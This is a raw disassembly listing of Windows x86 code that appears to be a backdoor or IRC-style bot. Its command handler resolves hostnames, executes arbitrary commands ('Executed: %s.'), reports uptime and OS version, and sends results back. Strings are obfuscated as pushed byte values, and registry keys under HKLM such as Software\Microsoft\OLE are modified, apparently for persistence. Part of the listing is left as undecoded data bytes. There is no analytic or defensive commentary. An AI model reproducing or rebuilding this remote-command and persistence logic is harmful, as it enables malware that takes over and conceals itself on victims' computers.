lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_405194: ; CODE XREF: sub_404CC0+3CBj
lea ecx, [edi+0D99h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_4051B7
mov byte_4D808C, al
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_4051B7: ; CODE XREF: sub_404CC0+4E9j
lea ecx, [edi+0D3Dh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_40547E
lea ecx, [esp+178h+var_11C]
call sub_40142E
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
mov ebx, 0Ah
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_401226
mov al, [esp+178h+var_14D]
test al, al
jz short loc_405241
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_405241: ; CODE XREF: sub_404CC0+56Bj
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_4017EE
push eax
nop
call near ptr 71AB2BF4h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_104], eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
mov eax, [esp+178h+var_104]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_405314
push 2
lea eax, [esp+17Ch+var_104]
push 4
push eax
call near ptr 71ABE479h
nop
mov edi, eax
test edi, edi
jz loc_4053F5
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov edx, [edi]
mov ecx, eax
push edx
mov byte ptr [esp+17Ch+var_4], 0Dh
call sub_4017EE
push eax
lea eax, [esp+180h+var_11C]
push offset aSResolvedS ; "%s resolved %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_40545B
; ---------------------------------------------------------------------------
loc_405314: ; CODE XREF: sub_404CC0+5C7j
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Eh
call sub_4017EE
push eax
nop
call near ptr 71AB4FD4h
lea ecx, [esp+178h+var_164]
mov edi, eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
test edi, edi
jz loc_4053F5
mov ecx, [edi+0Ch]
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_4016B8
mov ebp, eax
push edi
mov byte ptr [esp+17Ch+var_4], 0Fh
nop
call near ptr 71AB3F41h
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esp+180h+var_11C]
push offset aSS_1 ; "%s -> %s"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_4053F5: ; CODE XREF: sub_404CC0+5E0j
; sub_404CC0+691j
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 10h
call sub_4017EE
push eax
lea edx, [esp+17Ch+var_11C]
push offset aResolve_errorS ; "resolve.error %s."
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_40545B: ; CODE XREF: sub_404CC0+64Fj
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_40547E: ; CODE XREF: sub_404CC0+50Cj
lea ecx, [edi+0BCDh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_40556C
lea ecx, [edi+9]
call sub_4017EE
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_402040
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+190h+var_14C]
mov ebx, 11h
push 28h
push eax
mov [esp+198h+var_4], ebx
call sub_4019C4
add esp, 20h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D8075
call sub_401E24
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_4017EE
push eax
push offset aS ; "%s"
push offset byte_4E8E45
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_40556C: ; CODE XREF: sub_404CC0+7D3j
lea ecx, [edi+0E23h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4056DA
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_4013E3
mov ecx, edi
mov ebx, eax
call sub_4013E3
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_4013E3
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_401226
test bl, bl
jnz loc_4056BD
lea ecx, [esp+178h+var_14C]
call sub_40142E
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_4013E3
add eax, 2
mov ecx, esi
push eax
call sub_401479
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4015E1
lea ecx, [esp+178h+var_164]
call sub_40142E
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_4017EE
push eax
lea eax, [esp+17Ch+var_164]
push offset aExecutedS_ ; "Executed: %s."
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_4017EE
push eax
nop
call near ptr 77C293C7h
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_405674
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
jmp short loc_405692
; ---------------------------------------------------------------------------
loc_405674: ; CODE XREF: sub_404CC0+997j
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405692: ; CODE XREF: sub_404CC0+9B2j
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_401226
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_4056B8: ; CODE XREF: sub_404CC0+1D4j
; sub_404CC0+2AFj ...
call sub_401226
loc_4056BD: ; CODE XREF: sub_404CC0+91Cj
; sub_404CC0+C6Aj
xor al, al
loc_4056BF: ; CODE XREF: sub_404CC0+6Fj
; sub_404CC0+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_4056DA: ; CODE XREF: sub_404CC0+8C1j
lea ecx, [edi+0C85h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_405750
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401F5A
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405750: ; CODE XREF: sub_404CC0+A2Fj
lea ecx, [edi+0CE1h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405841
push 1
push offset asc_444600 ; " "
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011EA
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_4017EE
push eax
push offset aS ; "%s"
push offset byte_4E8E45
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_401226
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_401226
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4019C4
add esp, 18h
mov esi, eax
mov ecx, offset byte_4E8E45
mov [esp+178h+var_4], 1Ah
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D8075
call sub_401E24
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405841: ; CODE XREF: sub_404CC0+AA5j
lea ecx, [edi+0CB3h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405915
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_401226
test ebx, ebx
jnz short loc_4058A9
mov ebx, 7
loc_4058A9: ; CODE XREF: sub_404CC0+BE2j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_40195B
push offset byte_448F30
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012EE
test eax, eax
jz short loc_4058FE
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
loc_4058FE: ; CODE XREF: sub_404CC0+C11j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405915: ; CODE XREF: sub_404CC0+B96j
lea ecx, [edi+0DF5h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4056BD
lea ecx, [esp+178h+var_100]
call sub_40142E
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4019C4
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_100]
call sub_401A9B
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_401226
mov edi, offset aN ; "N"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, dword_511764
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 20019h
push eax
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push 80000002h
call esi
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1B4h+var_178]
push 1Fh
push edx
call sub_4019C4
add esp, 30h
lea ecx, [esp+18Ch+var_A0]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov [esp+19Ch+var_18], 1Fh
call sub_4017EE
mov edx, [esp+19Ch+var_17C]
push eax
push edx
call near ptr 2970000h
nop
lea ecx, [esp+1A4h+var_190]
mov [esp+1A4h+var_30], 1Dh
call sub_401226
mov eax, [esp+1A4h+var_194]
mov edi, dword_511740
push eax
call edi
lea ecx, [esp+1A8h+var_198]
push ecx
push 0F003Fh
push 0
lea ecx, [esp+1B4h+var_130]
call sub_4017EE
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+1E0h+var_1A8]
push 2Dh
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov [esp+1BCh+var_48], 20h
call sub_4017EE
mov ebp, dword_51176C
push eax
mov eax, [esp+1C0h+var_1AC]
push eax
call ebp
lea ecx, [esp+1C4h+var_1B0]
mov [esp+1C4h+var_50], 1Dh
call sub_401226
mov ecx, [esp+1C4h+var_1B4]
push ecx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+1ECh+var_1B4]
push 9
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov [esp+1C8h+var_54], 21h
call sub_4017EE
push eax
call sub_401604
sub_404CC0 endp
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh
dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023FA4h
dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h
dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh
dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh
dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
dd 0E89050FFh, 23EB156h, 1024548Dh, 78244C8Dh, 3F6852h
dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h
dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h
dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023FA3h, 6A056A00h
dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
dd 50FFFFB9h, 0B010E890h, 448D023Eh, 4C8D1024h, 68507824h
dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h
dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
dd 0FFFFBE61h, 0E9E89050h, 6A023FA1h, 6A056A00h, 6A056A18h
dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h
dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h
dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 0AED0E890h
dd 4C8D023Eh, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh
dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h
dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
dd 104h, 4C244C8Dh, 0FFBD14E8h, 0E89050FFh, 23FA09Ch, 56A006Ah
dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h
dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 0E850FFFFh
dd 23EAD82h, 24548D90h, 244C8D10h, 3F685278h, 6A000F00h
dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh
dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh
dd 90023F9Fh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh
dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23EAC42h, 24448D90h
dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh
dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h
dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_406730 proc near ; CODE XREF: sub_40195Bj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_406730
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_40142E
mov esi, [esp+38h+arg_4]
mov ebp, 1
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_406781
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_402112
mov [esp+38h+var_28], ebp
jmp loc_406827
; ---------------------------------------------------------------------------
loc_406781: ; CODE XREF: sub_406730+3Aj
call near ptr 27F0C4Bh
nop
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_406813
mov eax, ecx
mov ecx, 15180h
cdq
idiv ecx
mov esi, 0E10h
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push offset aUpDdDhDm ; "up: %dd %dh %dm"
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_4014D3
jmp short loc_406823
; ---------------------------------------------------------------------------
loc_406813: ; CODE XREF: sub_406730+7Cj
mov esi, [esp+38h+arg_0]
push offset byte_448F30
mov ecx, esi
call sub_401870
loc_406823: ; CODE XREF: sub_406730+E1j
mov [esp+38h+var_28], ebp
loc_406827: ; CODE XREF: sub_406730+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_401226
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_406730 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4068A0: ; CODE XREF: ___:00401672j
push ecx
push esi
mov esi, [esp+0Ch]
push offset byte_448F30
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401870
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4068E0 proc near ; CODE XREF: sub_401F5Aj
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4068E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_40142E
mov [esp+1A4h+var_4], 1
nop
call near ptr 27F0C4Bh
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
nop
call near ptr 2840000h
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
call near ptr 2830000h
nop
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_4069AE
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406996
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_406986
mov ebp, offset a95 ; "95"
jmp loc_406A21
; ---------------------------------------------------------------------------
loc_406986: ; CODE XREF: sub_4068E0+9Aj
cmp eax, 2
jnz loc_406A1D
mov ebp, offset aNt ; "NT"
jmp short loc_4069EA
; ---------------------------------------------------------------------------
loc_406996: ; CODE XREF: sub_4068E0+8Ej
cmp eax, 0Ah
jnz short loc_4069A2
mov ebp, offset a98 ; "98"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069A2: ; CODE XREF: sub_4068E0+B9j
cmp eax, 5Ah
jnz short loc_4069DB
mov ebp, offset aMe ; "ME"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069AE: ; CODE XREF: sub_4068E0+83j
cmp eax, 5
jnz short loc_4069DB
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_4069C5
mov ebp, offset a2000 ; "2000"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069C5: ; CODE XREF: sub_4068E0+DCj
cmp eax, 1
jnz short loc_4069D1
mov ebp, offset aXp ; "XP"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069D1: ; CODE XREF: sub_4068E0+E8j
cmp eax, 2
mov ebp, offset a2003 ; "2003"
jz short loc_4069E0
loc_4069DB: ; CODE XREF: sub_4068E0+C5j
; sub_4068E0+D1j
mov ebp, offset a??? ; "???"
loc_4069E0: ; CODE XREF: sub_4068E0+C0j
; sub_4068E0+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_406A21
loc_4069EA: ; CODE XREF: sub_4068E0+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_406A21
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset aSS_2 ; "%s [%s]"
push edx
call sub_5F76F7
nop
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_406A21
; ---------------------------------------------------------------------------
loc_406A1D: ; CODE XREF: sub_4068E0+A9j
mov ebp, [esp+1A4h+var_198]
loc_406A21: ; CODE XREF: sub_4068E0+A1j
; sub_4068E0+108j ...
